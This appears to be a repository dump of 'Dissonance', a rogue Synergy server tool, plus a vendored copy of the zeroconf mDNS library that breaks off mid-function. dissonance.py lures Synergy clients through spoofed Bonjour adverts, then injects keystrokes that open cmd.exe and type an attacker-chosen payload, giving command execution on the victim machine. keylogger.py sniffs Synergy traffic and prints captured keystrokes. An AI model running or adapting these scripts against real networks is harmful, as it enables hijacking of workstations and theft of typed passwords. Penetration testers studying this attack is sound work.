├── README.md ├── dissonance.py ├── keylogger.py └── zeroconf.py /README.md: -------------------------------------------------------------------------------- 1 | # Dissonance - Rogue Synergy server 2 | 3 | For more information on this tool read the blog post at: https://www.n00py.io/2017/03/compromising-synergy-clients-with-a-rogue-synergy-server/ 4 | ``` 5 | ,-~~-.___. 6 | / | x \\ 7 | ( ) 0 _____ _ Rouge Synergy Server 8 | \_/-, ,----' ____ | __ \(_) ~n00py~ 9 | ==== || \_ | | | |_ ___ ___ ___ _ __ __ _ _ __ ___ ___ 10 | / \-'~; || | | | | | / __/ __|/ _ \| '_ \ / _` | '_ \ / __/ _ \\ 11 | / __/~| ...||__/|-" | |__| | \__ \__ \ (_) | | | | (_| | | | | (_| __/ 12 | =( _____||________| |_____/|_|___/___/\___/|_| |_|\__,_|_| |_|\___\___| 13 | ``` 14 | ## ABOUT: 15 | This script was designed to spoof a Synergy server and to entice users to connect to it. 16 | 17 | ## INSTALL: 18 | apt install git 19 | 20 | git clone https://github.com/n00py/Dissonance.git 21 | 22 | pip install zeroconf 23 | ## USAGE: 24 | 25 | ### Sniffing with Dissonance 26 | ``` 27 | python dissonance.py --sniff 28 | ``` 29 | ### Starting a server and advertising via Bonjour 30 | ``` 31 | python dissonance.py -p [PAYLOAD FILE] --bonjour 32 | ``` 33 | 34 | For more information view the blog post located here: TBA 35 | 36 | ###Future Ideas: 37 | - OS detection 38 | - Dynamic payload selection 39 | - Add functionality for SSL 40 | - Cipboard nabbing 41 | -------------------------------------------------------------------------------- /dissonance.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, print_function 2 | 3 | import sys 4 | import socket 5 | import argparse 6 | from thread import * 7 | from time import sleep 8 | from zeroconf import ServiceBrowser, ServiceStateChange, ServiceInfo, Zeroconf 9 | 10 | def banner(): 11 | banner = ''' 12 | ,-~~-.___. 13 | / | x \\ 14 | ( ) 0 _____ _ Rouge Synergy Server 15 | \_/-, ,----' ____ | __ \(_) ~n00py~ 16 | ==== || \_ | | | |_ ___ ___ ___ _ __ __ _ _ __ ___ ___ 17 | / \-'~; || | | | | | / __/ __|/ _ \| '_ \ / _` | '_ \ / __/ _ \\ 18 | / __/~| ...||__/|-" | |__| | \__ \__ \ (_) | | | | (_| | | | | (_| __/ 19 | =( _____||________| |_____/|_|___/___/\___/|_| |_|\__,_|_| |_|\___\___| 20 | ''' 21 | 22 | print (banner) 23 | 24 | def start_listener(port): 25 | 26 | host = '' # Symbolic name meaning all available interfaces 27 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | print ('Socket created') 29 | # Bind socket to local host and port 30 | try: 31 | s.bind((host, port)) 32 | except socket.error as msg: 33 | print ('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 34 | sys.exit() 35 | print ('Socket bind complete') 36 | # Start listening on socket 37 | s.listen(10) 38 | print ('Socket now listening') 39 | return s 40 | 41 | def establish_connection(conn): 42 | 43 | global hosts 44 | # Function for handling connections. This will be used to create threads 45 | conn.send('\x00\x00\x00\x0b\x53\x79\x6e\x65\x72\x67\x79\x00\x01\x00\x06') # send version 46 | data = conn.recv(1024) 47 | hostname = data[19:] 48 | print ("Hostname: " + hostname) 49 | if hostname not in blacklist: 50 | conn.send('\x00\x00\x00\x04\x51\x49\x4e\x46') # query screen info 51 | conn.send('\x00\x00\x00\x04\x43\x49\x41\x4b') # send resolution change acknowledgement 52 | sleep(1) 53 | # send reset options 54 | conn.send('\x00\x00\x00\x04\x43\x52\x4f\x50\x00\x00\x00\x68\x44\x53\x4f\x50\x00\x00\x00\x18\x48\x44\x43\x4c\x00\x00' 55 | '\x00\x00\x48\x44\x4e\x4c\x00\x00\x00\x00\x48\x44\x53\x4c\x00\x00\x00\x00\x53\x53\x43\x4d\x00\x00\x00\x00' 56 | '\x53\x53\x43\x53\x00\x00\x00\x00\x58\x54\x58\x55\x00\x00\x00\x00\x43\x4c\x50\x53\x00\x00\x00\x01\x4d\x44' 57 | '\x4c\x54\x00\x00\x00\x00\x53\x53\x43\x4d\x00\x00\x00\x00\x53\x53\x43\x53\x00\x00\x00\x00\x53\x53\x56\x52' 58 | '\x00\x00\x00\x01\x5f\x4b\x46\x57\x00\x00\x00\x00') 59 | sleep(1) 60 | print ("Entering Screen...") 61 | conn.send('\x00\x00\x00\x0e\x43\x49\x4e\x4e\x00\x00\x00\x8c\x00\x00\x00\x01\x00\x00') # enter the client screen 62 | sleep(1) 63 | blacklist.append(hostname) 64 | else: 65 | print ("Host \"" + hostname + "\" has already been attacked, restart the server to attack this host again.") 66 | return False 67 | 68 | def open_cmd(conn): 69 | print ("Opening the command prompt...") 70 | conn.send('\x00\x00\x00\x0a\x44\x4b\x44\x4e\xef\xeb\x00\x10\x01\x5b') # send windows key 71 | conn.send('\x00\x00\x00\x0a\x44\x4b\x44\x4e\x00\x72\x00\x10\x00\x13') # send r 72 | conn.send('\x00\x00\x00\x0a\x44\x4b\x55\x50\xef\xeb\x00\x00\x01\x5b') # release windows key 73 | sleep(.1) 74 | command = "cmd.exe" 75 | i = 0 76 | 77 | while i < len(command): 78 | conn.send('\x00\x00\x00\x0a\x44\x4b\x44\x4e\x00' + command[i] + '\x00\x00\x00\x21') # send cmd.exe 79 | i += 1 80 | sleep(.1) 81 | conn.send('\x00\x00\x00\x0a\x44\x4b\x44\x4e\xef\x0d\x00\x00\x00\x1c') # send enter 82 | sleep(1) 83 | 84 | def send_payload(conn, payload): 85 | i = 0 86 | print ("Sending payload...") 87 | while i < len(payload): 88 | conn.send('\x00\x00\x00\x0a\x44\x4b\x44\x4e\x00' + payload[i] + '\x00\x00\x00\x21') # send payload 89 | i += 1 90 | sleep(.001) 91 | conn.send('\x00\x00\x00\x0a\x44\x4b\x44\x4e\xef\x0d\x00\x00\x00\x1c') # send enter 92 | print ("Payload sent!") 93 | 94 | def windows_shell(conn,payload): 95 | if establish_connection(conn) != False: 96 | open_cmd(conn) 97 | send_payload(conn, payload) 98 | 99 | def get_ip(): 100 | try: 101 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 102 | sock.connect(('8.8.8.8', 53)) 103 | ip = sock.getsockname()[0] 104 | sock.close() 105 | except: 106 | print ("Attempted to determine your local IP, but could not. Supply the IP of the interface you want to use with --ip") 107 | return ip 108 | 109 | def bonjour(ip_addr): 110 | print ("Sending Bonjour advertisements") 111 | zeroconf = Zeroconf() 112 | if not ip_addr: 113 | ip_addr = get_ip() 114 | hostname = socket.gethostname() 115 | hostname = hostname.split(".", 1)[0] 116 | print ("Hostname is: " +hostname) 117 | print ("IP Address is: " + ip_addr) 118 | services = [] 119 | desc = {'Description': ''} 120 | amqp_info = ServiceInfo("_synergyServerZeroconf._tcp.local.", 121 | "%s._synergyServerZeroconf._tcp.local." % hostname, 122 | socket.inet_aton(ip_addr), 24800, 0, 0, 123 | desc, "%s.local." % hostname) 124 | services.append(amqp_info) 125 | for info in services: 126 | zeroconf.register_service(info) 127 | 128 | try: 129 | sleep(2) 130 | finally: 131 | print ("Bonjour Advertisements sent!") 132 | # print("Unregistering...") 133 | # zeroconf.unregister_service(info) 134 | # zeroconf.close() 135 | 136 | def on_service_state_change(zeroconf, service_type, name, state_change): 137 | if "Added" in str(state_change): 138 | if "Server" in str(service_type): 139 | print (" New server Identified") 140 | print (" Name: " + name) 141 | if "Client" in str(service_type): 142 | print(" New client Identified") 143 | print(" Name: " + name) 144 | if state_change is ServiceStateChange.Added: 145 | info = zeroconf.get_service_info(service_type, name) 146 | if info: 147 | print(" Address: %s:%d" % (socket.inet_ntoa(info.address), info.port)) 148 | print(" Hostame: %s" % (info.server,)) 149 | else: 150 | print("") 151 | print('\n') 152 | sleep(0.1) 153 | 154 | def browser(): 155 | 156 | zeroconf = Zeroconf() 157 | 158 | serverBrowser = ServiceBrowser(zeroconf, "_synergyServerZeroconf._tcp.local.", handlers=[on_service_state_change]) 159 | sleep(5) 160 | clientBrowser = ServiceBrowser(zeroconf, "_synergyClientZeroconf._tcp.local.", handlers=[on_service_state_change]) 161 | trigger = True 162 | try: 163 | while trigger == True: 164 | raw_input("") 165 | trigger = False 166 | start() 167 | except KeyboardInterrupt: 168 | pass 169 | finally: 170 | print ("") 171 | #zeroconf.close() 172 | 173 | def start(payload): 174 | s = start_listener(24800) 175 | while 1: 176 | conn, addr = s.accept() 177 | print ('Connected with ' + addr[0] + ':' + str(addr[1])) 178 | start_new_thread(windows_shell, (conn,payload)) 179 | s.close() 180 | 181 | blacklist = [] # Blacklist for systems that have already connected 182 | 183 | 184 | def main(): 185 | parser = argparse.ArgumentParser(description='Dissonance is a rouge Synergy server. It just needs a file ' 186 | 'containing the payload. The payload will be typed into a windows command terminal. Additionally, you can ' 187 | 'use --bonjour to send out MDNS advertisements to entice client to connect to your server, and you can use the ' 188 | 'MDNS sniffer with the --sniff option. ') 189 | parser.add_argument('-b','--bonjour',help=' Use this option to broadcast MDNS advertisements when starting the server', required=False, action='store_true') 190 | parser.add_argument('-s', '--sniff', help=' Use this option to sniff for MDNS advertisements', required=False, action='store_true') 191 | parser.add_argument('-p', '--payload', help='Filepath to the payload', required=False) 192 | parser.add_argument('-i', '--ip', help='IP address of listening server', required=False) 193 | 194 | args = parser.parse_args() 195 | banner() 196 | 197 | if args.sniff: 198 | print ("Now sniffing for Synergy activity...") 199 | browser() 200 | if not args.sniff: 201 | if args.payload: 202 | p = open(args.payload, 'r') 203 | payload = p.read() 204 | if args.bonjour: 205 | bonjour(args.ip) 206 | start(payload) 207 | else: 208 | print ("You did not specify a payload file. Use the -p switch") 209 | 210 | 211 | if __name__ == "__main__": 212 | 213 | main() 214 | -------------------------------------------------------------------------------- /keylogger.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | 4 | def querysniff(pkt): 5 | if Raw in pkt: 6 | payload = str(pkt[Raw].load) 7 | if "DKDN" in payload: 8 | sys.stdout.write(payload[9]) 9 | sniff(filter="tcp and port 24800", prn=querysniff, store=0) 10 | 11 | -------------------------------------------------------------------------------- /zeroconf.py: -------------------------------------------------------------------------------- 1 | from __future__ import ( 2 | absolute_import, division, print_function, unicode_literals) 3 | 4 | """ Multicast DNS Service Discovery for Python, v0.14-wmcbrine 5 | Copyright 2003 Paul Scott-Murphy, 2014 William McBrine 6 | 7 | This module provides a framework for the use of DNS Service Discovery 8 | using IP multicast. 9 | 10 | This library is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU Lesser General Public 12 | License as published by the Free Software Foundation; either 13 | version 2.1 of the License, or (at your option) any later version. 14 | 15 | This library is distributed in the hope that it will be useful, 16 | but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | Lesser General Public License for more details. 19 | 20 | You should have received a copy of the GNU Lesser General Public 21 | License along with this library; if not, write to the Free Software 22 | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 23 | USA 24 | """ 25 | 26 | import enum 27 | import errno 28 | import logging 29 | import re 30 | import select 31 | import socket 32 | import struct 33 | import sys 34 | import threading 35 | import time 36 | from functools import reduce 37 | 38 | import netifaces 39 | from six import binary_type, indexbytes, int2byte, iteritems, text_type 40 | from six.moves import xrange 41 | 42 | __author__ = 'Paul Scott-Murphy, William McBrine' 43 | __maintainer__ = 'Jakub Stasiak ' 44 | __version__ = '0.18.0' 45 | __license__ = 'LGPL' 46 | 47 | 48 | __all__ = [ 49 | "__version__", 50 | "Zeroconf", "ServiceInfo", "ServiceBrowser", 51 | "Error", "InterfaceChoice", "ServiceStateChange", 52 | ] 53 | 54 | 55 | log = logging.getLogger(__name__) 56 | log.addHandler(logging.NullHandler()) 57 | 58 | if log.level == logging.NOTSET: 59 | log.setLevel(logging.WARN) 60 | 61 | # Some timing constants 62 | 63 | _UNREGISTER_TIME = 125 64 | _CHECK_TIME = 175 65 | _REGISTER_TIME = 225 66 | _LISTENER_TIME = 200 67 | _BROWSER_TIME = 500 68 | 69 | # Some DNS constants 70 | 71 | _MDNS_ADDR = '224.0.0.251' 72 | _MDNS_PORT = 5353 73 | _DNS_PORT = 53 74 | _DNS_TTL = 60 * 60 # one hour default TTL 75 | 76 | _MAX_MSG_TYPICAL = 1460 # unused 77 | _MAX_MSG_ABSOLUTE = 8966 78 | 79 | _FLAGS_QR_MASK = 0x8000 # query response mask 80 | _FLAGS_QR_QUERY = 0x0000 # query 81 | _FLAGS_QR_RESPONSE = 0x8000 # response 82 | 83 | _FLAGS_AA = 0x0400 # Authoritative answer 84 | _FLAGS_TC = 0x0200 # Truncated 85 | _FLAGS_RD = 0x0100 # Recursion desired 86 | _FLAGS_RA = 0x8000 # Recursion available 87 | 88 | _FLAGS_Z = 0x0040 # Zero 89 | _FLAGS_AD = 0x0020 # Authentic data 90 | _FLAGS_CD = 0x0010 # Checking disabled 91 | 92 | _CLASS_IN = 1 93 | _CLASS_CS = 2 94 | _CLASS_CH = 3 95 | _CLASS_HS = 4 96 | _CLASS_NONE = 254 97 | _CLASS_ANY = 255 98 | _CLASS_MASK = 0x7FFF 99 | _CLASS_UNIQUE = 0x8000 100 | 101 | _TYPE_A = 1 102 | _TYPE_NS = 2 103 | _TYPE_MD = 3 104 | _TYPE_MF = 4 105 | _TYPE_CNAME = 5 106 | _TYPE_SOA = 6 107 | _TYPE_MB = 7 108 | _TYPE_MG = 8 109 | _TYPE_MR = 9 110 | _TYPE_NULL = 10 111 | _TYPE_WKS = 11 112 | _TYPE_PTR = 12 113 | _TYPE_HINFO = 13 114 | _TYPE_MINFO = 14 115 | _TYPE_MX = 15 116 | _TYPE_TXT = 16 117 | _TYPE_AAAA = 28 118 | _TYPE_SRV = 33 119 | _TYPE_ANY = 255 120 | 121 | # Mapping constants to names 122 | 123 | _CLASSES = {_CLASS_IN: "in", 124 | _CLASS_CS: "cs", 125 | _CLASS_CH: "ch", 126 | _CLASS_HS: "hs", 127 | _CLASS_NONE: "none", 128 | _CLASS_ANY: "any"} 129 | 130 | _TYPES = {_TYPE_A: "a", 131 | _TYPE_NS: "ns", 132 | _TYPE_MD: "md", 133 | _TYPE_MF: "mf", 134 | _TYPE_CNAME: "cname", 135 | _TYPE_SOA: "soa", 136 | _TYPE_MB: "mb", 137 | _TYPE_MG: "mg", 138 | _TYPE_MR: "mr", 139 | _TYPE_NULL: "null", 140 | _TYPE_WKS: "wks", 141 | _TYPE_PTR: "ptr", 142 | _TYPE_HINFO: "hinfo", 143 | _TYPE_MINFO: "minfo", 144 | _TYPE_MX: "mx", 145 | _TYPE_TXT: "txt", 146 | _TYPE_AAAA: "quada", 147 | _TYPE_SRV: "srv", 148 | _TYPE_ANY: "any"} 149 | 150 | _HAS_A_TO_Z = re.compile(r'[A-Za-z]') 151 | _HAS_ONLY_A_TO_Z_NUM_HYPHEN = re.compile(r'^[A-Za-z0-9\-]+$') 152 | _HAS_ASCII_CONTROL_CHARS = re.compile(r'[\x00-\x1f\x7f]') 153 | 154 | 155 | @enum.unique 156 | class InterfaceChoice(enum.Enum): 157 | Default = 1 158 | All = 2 159 | 160 | 161 | @enum.unique 162 | class ServiceStateChange(enum.Enum): 163 | Added = 1 164 | Removed = 2 165 | 166 | 167 | HOST_ONLY_NETWORK_MASK = '255.255.255.255' 168 | 169 | 170 | # utility functions 171 | 172 | 173 | def current_time_millis(): 174 | """Current system time in milliseconds""" 175 | return time.time() * 1000 176 | 177 | 178 | def service_type_name(type_): 179 | """ 180 | Validate a fully qualified service name, instance or subtype. [rfc6763] 181 | 182 | Returns fully qualified service name. 183 | 184 | Domain names used by mDNS-SD take the following forms: 185 | 186 | . <_tcp|_udp> . local. 187 | . . <_tcp|_udp> . local. 188 | ._sub . . <_tcp|_udp> . local. 189 | 190 | 1) must end with 'local.' 191 | 192 | This is true because we are implementing mDNS and since the 'm' means 193 | multi-cast, the 'local.' domain is mandatory. 194 | 195 | 2) local is preceded with either '_udp.' or '_tcp.' 196 | 197 | 3) service name precedes <_tcp|_udp> 198 | 199 | The rules for Service Names [RFC6335] state that they may be no more 200 | than fifteen characters long (not counting the mandatory underscore), 201 | consisting of only letters, digits, and hyphens, must begin and end 202 | with a letter or digit, must not contain consecutive hyphens, and 203 | must contain at least one letter. 204 | 205 | The instance name and sub type may be up to 63 bytes. 206 | 207 | The portion of the Service Instance Name is a user- 208 | friendly name consisting of arbitrary Net-Unicode text [RFC5198]. It 209 | MUST NOT contain ASCII control characters (byte values 0x00-0x1F and 210 | 0x7F) [RFC20] but otherwise is allowed to contain any characters, 211 | without restriction, including spaces, uppercase, lowercase, 212 | punctuation -- including dots -- accented characters, non-Roman text, 213 | and anything else that may be represented using Net-Unicode. 214 | 215 | :param type_: Type, SubType or service name to validate 216 | :return: fully qualified service name (eg: _http._tcp.local.) 217 | """ 218 | if not (type_.endswith('._tcp.local.') or type_.endswith('._udp.local.')): 219 | raise BadTypeInNameException( 220 | "Type '%s' must end with '._tcp.local.' or '._udp.local.'" % 221 | type_) 222 | 223 | remaining = type_[:-len('._tcp.local.')].split('.') 224 | name = remaining.pop() 225 | if not name: 226 | raise BadTypeInNameException("No Service name found") 227 | 228 | if len(remaining) == 1 and len(remaining[0]) == 0: 229 | raise BadTypeInNameException( 230 | "Type '%s' must not start with '.'" % type_) 231 | 232 | if name[0] != '_': 233 | raise BadTypeInNameException( 234 | "Service name (%s) must start with '_'" % name) 235 | 236 | # remove leading underscore 237 | name = name[1:] 238 | 239 | # if len(name) > 15: 240 | # raise BadTypeInNameException( 241 | # "Service name (%s) must be <= 15 bytes" % name) 242 | 243 | if '--' in name: 244 | raise BadTypeInNameException( 245 | "Service name (%s) must not contain '--'" % name) 246 | 247 | if '-' in (name[0], name[-1]): 248 | raise BadTypeInNameException( 249 | "Service name (%s) may not start or end with '-'" % name) 250 | 251 | if not _HAS_A_TO_Z.search(name): 252 | raise BadTypeInNameException( 253 | "Service name (%s) must contain at least one letter (eg: 'A-Z')" % 254 | name) 255 | 256 | if not _HAS_ONLY_A_TO_Z_NUM_HYPHEN.search(name): 257 | raise BadTypeInNameException( 258 | "Service name (%s) must contain only these characters: " 259 | "A-Z, a-z, 0-9, hyphen ('-')" % name) 260 | 261 | if remaining and remaining[-1] == '_sub': 262 | remaining.pop() 263 | if len(remaining) == 0 or len(remaining[0]) == 0: 264 | raise BadTypeInNameException( 265 | "_sub requires a subtype name") 266 | 267 | if len(remaining) > 1: 268 | remaining = ['.'.join(remaining)] 269 | 270 | if remaining: 271 | length = len(remaining[0].encode('utf-8')) 272 | if length > 63: 273 | raise BadTypeInNameException("Too long: '%s'" % remaining[0]) 274 | 275 | if _HAS_ASCII_CONTROL_CHARS.search(remaining[0]): 276 | raise BadTypeInNameException( 277 | "Ascii control character 0x00-0x1F and 0x7F illegal in '%s'" % 278 | remaining[0]) 279 | 280 | return '_' + name + type_[-len('._tcp.local.'):] 281 | 282 | 283 | # Exceptions 284 | 285 | 286 | class Error(Exception): 287 | pass 288 | 289 | 290 | class IncomingDecodeError(Error): 291 | pass 292 | 293 | 294 | class NonUniqueNameException(Error): 295 | pass 296 | 297 | 298 | class NamePartTooLongException(Error): 299 | pass 300 | 301 | 302 | class AbstractMethodException(Error): 303 | pass 304 | 305 | 306 | class BadTypeInNameException(Error): 307 | pass 308 | 309 | # implementation classes 310 | 311 | 312 | class QuietLogger(object): 313 | _seen_logs = {} 314 | 315 | @classmethod 316 | def log_exception_warning(cls, logger_data=None): 317 | exc_info = sys.exc_info() 318 | exc_str = str(exc_info[1]) 319 | if exc_str not in cls._seen_logs: 320 | # log at warning level the first time this is seen 321 | cls._seen_logs[exc_str] = exc_info 322 | logger = log.warning 323 | else: 324 | logger = log.debug 325 | if logger_data is not None: 326 | logger(*logger_data) 327 | logger('Exception occurred:', exc_info=exc_info) 328 | 329 | @classmethod 330 | def log_warning_once(cls, *args): 331 | msg_str = args[0] 332 | if msg_str not in cls._seen_logs: 333 | cls._seen_logs[msg_str] = 0 334 | logger = log.warning 335 | else: 336 | logger = log.debug 337 | cls._seen_logs[msg_str] += 1 338 | logger(*args) 339 | 340 | 341 | class DNSEntry(object): 342 | 343 | """A DNS entry""" 344 | 345 | def __init__(self, name, type_, class_): 346 | self.key = name.lower() 347 | self.name = name 348 | self.type = type_ 349 | self.class_ = class_ & _CLASS_MASK 350 | self.unique = (class_ & _CLASS_UNIQUE) != 0 351 | 352 | def __eq__(self, other): 353 | """Equality test on name, type, and class""" 354 | return (isinstance(other, DNSEntry) and 355 | self.name == other.name and 356 | self.type == other.type and 357 | self.class_ == other.class_) 358 | 359 | def __ne__(self, other): 360 | """Non-equality test""" 361 | return not self.__eq__(other) 362 | 363 | @staticmethod 364 | def get_class_(class_): 365 | """Class accessor""" 366 | return _CLASSES.get(class_, "?(%s)" % class_) 367 | 368 | @staticmethod 369 | def get_type(t): 370 | """Type accessor""" 371 | return _TYPES.get(t, "?(%s)" % t) 372 | 373 | def to_string(self, hdr, other): 374 | """String representation with additional information""" 375 | result = "%s[%s,%s" % (hdr, self.get_type(self.type), 376 | self.get_class_(self.class_)) 377 | if self.unique: 378 | result += "-unique," 379 | else: 380 | result += "," 381 | result += self.name 382 | if other is not None: 383 | result += ",%s]" % other 384 | else: 385 | result += "]" 386 | return result 387 | 388 | 389 | class DNSQuestion(DNSEntry): 390 | 391 | """A DNS question entry""" 392 | 393 | def __init__(self, name, type_, class_): 394 | DNSEntry.__init__(self, name, type_, class_) 395 | 396 | def answered_by(self, rec): 397 | """Returns true if the question is answered by the record""" 398 | return (self.class_ == rec.class_ and 399 | (self.type == rec.type or self.type == _TYPE_ANY) and 400 | self.name == rec.name) 401 | 402 | def __repr__(self): 403 | """String representation""" 404 | return DNSEntry.to_string(self, "question", None) 405 | 406 | 407 | class DNSRecord(DNSEntry): 408 | 409 | """A DNS record - like a DNS entry, but has a TTL""" 410 | 411 | def __init__(self, name, type_, class_, ttl): 412 | DNSEntry.__init__(self, name, type_, class_) 413 | self.ttl = ttl 414 | self.created = current_time_millis() 415 | 416 | def __eq__(self, other): 417 | """Abstract method""" 418 | raise AbstractMethodException 419 | 420 | def suppressed_by(self, msg): 421 | """Returns true if any answer in a message can suffice for the 422 | information held in this record.""" 423 | for record in msg.answers: 424 | if self.suppressed_by_answer(record): 425 | return True 426 | return False 427 | 428 | def suppressed_by_answer(self, other): 429 | """Returns true if another record has same name, type and class, 430 | and if its TTL is at least half of this record's.""" 431 | return self == other and other.ttl > (self.ttl / 2) 432 | 433 | def get_expiration_time(self, percent): 434 | """Returns the time at which this record will have expired 435 | by a certain percentage.""" 436 | return self.created + (percent * self.ttl * 10) 437 | 438 | def get_remaining_ttl(self, now): 439 | """Returns the remaining TTL in seconds.""" 440 | return max(0, (self.get_expiration_time(100) - now) / 1000.0) 441 | 442 | def is_expired(self, now): 443 | """Returns true if this record has expired.""" 444 | return self.get_expiration_time(100) <= now 445 | 446 | def is_stale(self, now): 447 | """Returns true if this record is at least half way expired.""" 448 | return self.get_expiration_time(50) <= now 449 | 450 | def reset_ttl(self, other): 451 | """Sets this record's TTL and created time to that of 452 | another record.""" 453 | self.created = other.created 454 | self.ttl = other.ttl 455 | 456 | def write(self, out): 457 | """Abstract method""" 458 | raise AbstractMethodException 459 | 460 | def to_string(self, other): 461 | """String representation with additional information""" 462 | arg = "%s/%s,%s" % ( 463 | self.ttl, self.get_remaining_ttl(current_time_millis()), other) 464 | return DNSEntry.to_string(self, "record", arg) 465 | 466 | 467 | class DNSAddress(DNSRecord): 468 | 469 | """A DNS address record""" 470 | 471 | def __init__(self, name, type_, class_, ttl, address): 472 | DNSRecord.__init__(self, name, type_, class_, ttl) 473 | self.address = address 474 | 475 | def write(self, out): 476 | """Used in constructing an outgoing packet""" 477 | out.write_string(self.address) 478 | 479 | def __eq__(self, other): 480 | """Tests equality on address""" 481 | return isinstance(other, DNSAddress) and self.address == other.address 482 | 483 | def __repr__(self): 484 | """String representation""" 485 | try: 486 | return str(socket.inet_ntoa(self.address)) 487 | except Exception: # TODO stop catching all Exceptions 488 | return str(self.address) 489 | 490 | 491 | class DNSHinfo(DNSRecord): 492 | 493 | """A DNS host information record""" 494 | 495 | def __init__(self, name, type_, class_, ttl, cpu, os): 496 | DNSRecord.__init__(self, name, type_, class_, ttl) 497 | try: 498 | self.cpu = cpu.decode('utf-8') 499 | except AttributeError: 500 | self.cpu = cpu 501 | try: 502 | self.os = os.decode('utf-8') 503 | except AttributeError: 504 | self.os = os 505 | 506 | def write(self, out): 507 | """Used in constructing an outgoing packet""" 508 | out.write_character_string(self.cpu.encode('utf-8')) 509 | out.write_character_string(self.os.encode('utf-8')) 510 | 511 | def __eq__(self, other): 512 | """Tests equality on cpu and os""" 513 | return (isinstance(other, DNSHinfo) and 514 | self.cpu == other.cpu and self.os == other.os) 515 | 516 | def __repr__(self): 517 | """String representation""" 518 | return self.cpu + " " + self.os 519 | 520 | 521 | class DNSPointer(DNSRecord): 522 | 523 | """A DNS pointer record""" 524 | 525 | def __init__(self, name, type_, class_, ttl, alias): 526 | DNSRecord.__init__(self, name, type_, class_, ttl) 527 | self.alias = alias 528 | 529 | def write(self, out): 530 | """Used in constructing an outgoing packet""" 531 | out.write_name(self.alias) 532 | 533 | def __eq__(self, other): 534 | """Tests equality on alias""" 535 | return isinstance(other, DNSPointer) and self.alias == other.alias 536 | 537 | def __repr__(self): 538 | """String representation""" 539 | return self.to_string(self.alias) 540 | 541 | 542 | class DNSText(DNSRecord): 543 | 544 | """A DNS text record""" 545 | 546 | def __init__(self, name, type_, class_, ttl, text): 547 | assert isinstance(text, (bytes, type(None))) 548 | DNSRecord.__init__(self, name, type_, class_, ttl) 549 | self.text = text 550 | 551 | def write(self, out): 552 | """Used in constructing an outgoing packet""" 553 | out.write_string(self.text) 554 | 555 | def __eq__(self, other): 556 | """Tests equality on text""" 557 | return isinstance(other, DNSText) and self.text == other.text 558 | 559 | def __repr__(self): 560 | """String representation""" 561 | if len(self.text) > 10: 562 | return self.to_string(self.text[:7]) + "..." 563 | else: 564 | return self.to_string(self.text) 565 | 566 | 567 | class DNSService(DNSRecord): 568 | 569 | """A DNS service record""" 570 | 571 | def __init__(self, name, type_, class_, ttl, 572 | priority, weight, port, server): 573 | DNSRecord.__init__(self, name, type_, class_, ttl) 574 | self.priority = priority 575 | self.weight = weight 576 | self.port = port 577 | self.server = server 578 | 579 | def write(self, out): 580 | """Used in constructing an outgoing packet""" 581 | out.write_short(self.priority) 582 | out.write_short(self.weight) 583 | out.write_short(self.port) 584 | out.write_name(self.server) 585 | 586 | def __eq__(self, other): 587 | """Tests equality on priority, weight, port and server""" 588 | return (isinstance(other, DNSService) and 589 | self.priority == other.priority and 590 | self.weight == other.weight and 591 | self.port == other.port and 592 | self.server == other.server) 593 | 594 | def __repr__(self): 595 | """String representation""" 596 | return self.to_string("%s:%s" % (self.server, self.port)) 597 | 598 | 599 | class DNSIncoming(QuietLogger): 600 | 601 | """Object representation of an incoming DNS packet""" 602 | 603 | def __init__(self, data): 604 | """Constructor from string holding bytes of packet""" 605 | self.offset = 0 606 | self.data = data 607 | self.questions = [] 608 | self.answers = [] 609 | self.id = 0 610 | self.flags = 0 611 | self.num_questions = 0 612 | self.num_answers = 0 613 | self.num_authorities = 0 614 | self.num_additionals = 0 615 | self.valid = False 616 | 617 | try: 618 | self.read_header() 619 | self.read_questions() 620 | self.read_others() 621 | self.valid = True 622 | 623 | except (IndexError, struct.error, IncomingDecodeError): 624 | self.log_exception_warning(( 625 | 'Choked at offset %d while unpacking %r', self.offset, data)) 626 | 627 | def unpack(self, format_): 628 | length = struct.calcsize(format_) 629 | info = struct.unpack( 630 | format_, self.data[self.offset:self.offset + length]) 631 | self.offset += length 632 | return info 633 | 634 | def read_header(self): 635 | """Reads header portion of packet""" 636 | (self.id, self.flags, self.num_questions, self.num_answers, 637 | self.num_authorities, self.num_additionals) = self.unpack(b'!6H') 638 | 639 | def read_questions(self): 640 | """Reads questions section of packet""" 641 | for i in xrange(self.num_questions): 642 | name = self.read_name() 643 | type_, class_ = self.unpack(b'!HH') 644 | 645 | question = DNSQuestion(name, type_, class_) 646 | self.questions.append(question) 647 | 648 | # def read_int(self): 649 | # """Reads an integer from the packet""" 650 | # return self.unpack(b'!I')[0] 651 | 652 | def read_character_string(self): 653 | """Reads a character string from the packet""" 654 | length = indexbytes(self.data, self.offset) 655 | self.offset += 1 656 | return self.read_string(length) 657 | 658 | def read_string(self, length): 659 | """Reads a string of a given length from the packet""" 660 | info = self.data[self.offset:self.offset + length] 661 | self.offset += length 662 | return info 663 | 664 | def read_unsigned_short(self): 665 | """Reads an unsigned short from the packet""" 666 | return self.unpack(b'!H')[0] 667 | 668 | def read_others(self): 669 | """Reads the answers, authorities and additionals section of the 670 | packet""" 671 | n = self.num_answers + self.num_authorities + self.num_additionals 672 | for i in xrange(n): 673 | domain = self.read_name() 674 | type_, class_, ttl, length = self.unpack(b'!HHiH') 675 | 676 | rec = None 677 | if type_ == _TYPE_A: 678 | rec = DNSAddress( 679 | domain, type_, class_, ttl, self.read_string(4)) 680 | elif type_ == _TYPE_CNAME or type_ == _TYPE_PTR: 681 | rec = DNSPointer( 682 | domain, type_, class_, ttl, self.read_name()) 683 | elif type_ == _TYPE_TXT: 684 | rec = DNSText( 685 | domain, type_, class_, ttl, self.read_string(length)) 686 | elif type_ == _TYPE_SRV: 687 | rec = DNSService( 688 | domain, type_, class_, ttl, 689 | self.read_unsigned_short(), self.read_unsigned_short(), 690 | self.read_unsigned_short(), self.read_name()) 691 | elif type_ == _TYPE_HINFO: 692 | rec = DNSHinfo( 693 | domain, type_, class_, ttl, 694 | self.read_character_string(), self.read_character_string()) 695 | elif type_ == _TYPE_AAAA: 696 | rec = DNSAddress( 